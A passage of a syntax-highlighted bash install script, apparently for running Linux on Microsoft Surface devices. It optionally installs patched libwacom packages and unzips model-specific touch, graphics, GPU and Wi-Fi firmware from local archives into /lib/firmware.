&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;read&lt;/span&gt; -rp &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Do you want use the patched libwacom packages? (type yes or no) &amp;#34;&lt;/span&gt; uselibwacom;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$uselibwacom&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Installing patched libwacom packages...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		dpkg -i packages/libwacom/&lt;span style=&#34;color:#8aadf4&#34;&gt;\*&lt;/span&gt;.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		apt-mark hold libwacom
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Not touching libwacom&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface Pro 3&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling i915 firmware for Surface Pro 3...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/i915
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/i915&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;bxt.zip -d /lib/firmware/i915/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface Pro&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling IPTS firmware for Surface Pro 2017...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/intel/ipts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/ipts&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;v102.zip -d /lib/firmware/intel/ipts/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling i915 firmware for Surface Pro 2017...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/i915
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/i915&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;kbl.zip -d /lib/firmware/i915/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface Pro 4&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling IPTS firmware for Surface Pro 4...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/intel/ipts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/ipts&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;v78.zip -d /lib/firmware/intel/ipts/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling i915 firmware for Surface Pro 4...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/i915
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/i915&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;skl.zip -d /lib/firmware/i915/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface Pro 2017&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling IPTS firmware for Surface Pro 2017...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/intel/ipts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/ipts&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;v102.zip -d /lib/firmware/intel/ipts/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling i915 firmware for Surface Pro 2017...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/i915
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/i915&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;kbl.zip -d /lib/firmware/i915/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface Pro 6&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling IPTS firmware for Surface Pro 6...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/intel/ipts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/ipts&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;v102.zip -d /lib/firmware/intel/ipts/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling i915 firmware for Surface Pro 6...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/i915
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/i915&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;kbl.zip -d /lib/firmware/i915/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface Laptop&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling IPTS firmware for Surface Laptop...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/intel/ipts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/ipts&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;v79.zip -d /lib/firmware/intel/ipts/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling i915 firmware for Surface Laptop...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/i915
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/i915&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;skl.zip -d /lib/firmware/i915/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface Book&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling IPTS firmware for Surface Book...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/intel/ipts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/ipts&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;v76.zip -d /lib/firmware/intel/ipts/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling i915 firmware for Surface Book...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/i915
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/i915&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;skl.zip -d /lib/firmware/i915/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface Book 2&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling IPTS firmware for Surface Book 2...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/intel/ipts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_SKU&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface\_Book\_1793&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		unzip -o firmware/ipts&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;v101.zip -d /lib/firmware/intel/ipts/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		unzip -o firmware/ipts&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;v137.zip -d /lib/firmware/intel/ipts/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling i915 firmware for Surface Book 2...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/i915
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/i915&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;kbl.zip -d /lib/firmware/i915/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling nvidia firmware for Surface Book 2...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/nvidia/gp108
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/nvidia&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;gp108.zip -d /lib/firmware/nvidia/gp108/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Surface Go&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nInstalling ath10k firmware for Surface Go...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /lib/firmware/ath10k
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	unzip -o firmware/ath10k&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;firmware.zip -d /lib/firmware/ath10k/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
